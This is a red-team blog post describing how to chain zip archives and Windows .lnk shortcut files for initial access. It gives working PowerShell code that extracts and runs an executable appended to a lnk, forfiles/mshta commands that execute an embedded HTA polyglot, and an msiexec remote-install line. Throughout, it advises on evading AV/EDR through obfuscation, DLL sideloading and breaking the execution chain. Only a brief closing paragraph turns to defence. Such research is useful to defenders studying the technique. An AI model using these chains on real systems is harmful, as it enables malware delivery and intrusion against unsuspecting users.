ZipLink - Combine Zips and Lnk for fun and profit

If you look at typical exploit chains by various threat actors, lnk files still play a huge role. In this post I will share some possible chains I came up to.


There is some special behaviour when it comes to .zip archives containing lnk files.

  • Windows will not show the lnk Extensions, even if Show extensions is on
  • Temporary opened zips will be stored under the user %Temp%
  • Lnks can contain more data then the lnk itself
  • mshta.exe is very robust about syntax errors and ignores file extensions
  • LnkHta polyglots are easy to build

So with this parts we can build quite a chain for initial access.

Here is a short Proof-of-Concept, executing an embedded hta payload spawning calc. The vector comes along with only one “Security Warning”, even when SmartScreen is enabled. Furthermore the payload runs without a cmd or powershell process which makes it harder to detect.

Quick Proof-of-Concept for the execution via forfiles and mshta


Some time ago, I stumbled about the blogpost from x86matthew In this blogpost we learn, how we can simply add some binary to the end of a lnk file, extract and exdcute it again. As I do not like C snippets for such “easy” tasks, I wanted it implemented in powershell for easy adjustments.

Around the same time, I read a report about a thread actor, sending zip archeives with lnk files, because windows handles them a little bit strange. So why not combine those?


Before we can build the chain, we should talk about some details first.

Hidden extensions

Windows really tries hard to hide the extension of lnk files (and 15 other file types), as you can see here:

Hidden file extensions even when “Show extensions is enabled”

Some of them are quite dangerous, like lnk, pif, search-ms, url, website.

  • .accountpicture-ms
  • .appcontent-ms
  • .appref-ms
  • .DeskLink
  • .library-ms
  • .lnk
  • .MAPIMail
  • .mydocs
  • .pif
  • .scf
  • .searchConnector-ms
  • .search-ms
  • .settingcontent-ms
  • .url
  • .website
  • .ZFSendToTarget

The Zip file

The Zip file has two interesting behaviours.

The temp folder

First, if you doubleclick a file in a zip it will get partly extracted to a folder under %temp% with a GUID and the name of the Zip, e.g. C:\Users\Low\AppData\Local\Temp\ This behaviour is by itself not a big issue, as not all files get extracted automatically. However we gonna use this later.

If you use tools like 7z, the path differs a little, but is still under %temp%.

No Details shown

Second, if a lnk is in a zip, the windows default GUI offers no way to identify what is going to happen.

No Extension shown and no details on the lnk

A double click however will execute the lnk and threrefore the commands supplied, without a possibility to check this first. Of course it would be possible to extract the lnk before and then execute it, but I guess most users will try doubleclicking it first

The extracted lnk looks like this:

In the %TEMP% Folder the lnk looks like this with a clearly visible command line

The necessary

Even as the zip file brings some nice behaviour with it, it is also necessary to use, as modern browser will prevent the download of .lnk endings. E.g. firefox will add a .download extension.

The lnk

For the lnk itself there are several options what we can do. Additional to those ways, we can also use the good old whitespace trick to shift the command out of sight for the lnk. Brings a little more obfuscation, but might trigger AV directly.

Direct command execution

The simplest, but also really overused solution is just to add the command executed. So e.g. we can just add a powershell cradle to download and execute a script via Powershell. This is not very opsec.

A little bit better, but still not good would be to call a script interpreter or installer with a remote URL, like mshta.exe or msiexec.exe. For the latter one, I already pointed to a nice chain in my last blogpost.

msiexec.exe /i "" TRANSFORMS="" /qb

Quick Proof-of-Concept for the execution via msiexec


A second option is the way described by x86matthew, so just add a binary to the lnk file and extract it via a script interpreter, like powershell.

You might end up with something like this:

$payload = "set-variable -name 'path' -value ('c:\tmp\' + (Get-Random) + '.exe');"
$payload += '$file = gc -Encoding Byte -ReadCount 0 "$env:TEMP\*'
$payload += "\$LNKName.lnk`";"
$payload += '$raw = ([byte[]]($file| select -Skip ' + "$Size" + ')); sc $path $raw -Encoding Byte; & $path;'
$EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
$arguments = "-nop -c $payload"

Quick Proof-of-Concept for the execution via forfiles and mshta


If we have some knowledge about software in use, we can just plant some dll for sideloading and then stop execution. We then rely on the software getting startet by the user. This will make it for AV/EDR systems a lot harder to follow the chain and therefore reduce the detection rate.

Break the execution chain

Not executing the payload directly will also decrease the detection rate. I had good results with Scheduled Tasks in the past. Yeah I know, but “It’s not stupid if it’s working”

Another crazy option is to write another lnk to either the desktop or the legacy IExplorer shortcut path $env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts to execute via shortcuts like CTRL+C. Thanks to @rvrsh3ll for this nice trick.

Binary hijacking

We are not limited to only one file attached to the lnk. So why not bring in a signed binary like code.exe and use it as a C2? There are a lot of different ways.

The signature of a code.exe signed by MS after extraction from the containing lnk

HTA Polyglot

We can run mshta.exe with a remote URL from the lnk. However from my experience this might raise some red flags for AV/EDRs.

So we can also build a LnkHta-Polyglot and then execute the mshta from the lnk on itself.

Sadly, mshta can not handle wildcards by itself, and we do not now the absolute path where our file will land.

So we need something like forfiles to jump in. Forfiles has an annoying bug, which comes quite interesting here:

Recent versions of FORFILES contain a bug, in processing command line arguments: 
running a /c command that contains an argument such as FORFILES /C "PING -a" will 
fail. The expected convention is that argv[0] will contain the program name, 
but FORFILES instead passes the first argument as argv[0]. Old versions e.g. 
FORFILES version 1.46 (24th March 2006) do not suffer from this bug.

So we can also add a decoy file to mshta. Nice

forfiles.exe /p %Temp% /m Bill.pdf.lnk /s /c "mshta C:\harmless.txt @path"

This will go through all the files under %Temp%, searching our lnk and then executing mshta.exe on it. As mshta.exe does not care about file ending or snytax errors, we can simply add a hta script to our lnk.

Get-Content -Encoding Byte "calc.hta" -ReadCount 0 | Add-Content -Encoding Byte ".\$LNKName.lnk" 

For more complex payloads it is still great to use GadgetToJScript, but keep in mind, that you need to obfuscate the payload to bypass heuristic detection.

A quick PoC:

Quick Proof-of-Concept for the execution via forfiles and mshta


The risk from lnk files is still quite high. If possible it might be a good idea to block the download (Browser, Mails, Messaging) of lnk files. However this of course quite difficult if the files are wrapped in containers or archieves.

At least there should be some logging / monitoring in place and in general lnk files with a size above 1-2kB are quite suspicious. It seems that there is a defender rule in place triggering on files with several MB, but this was not reliable druing my testing.


Some links to the mentioned blogs, tools, pages.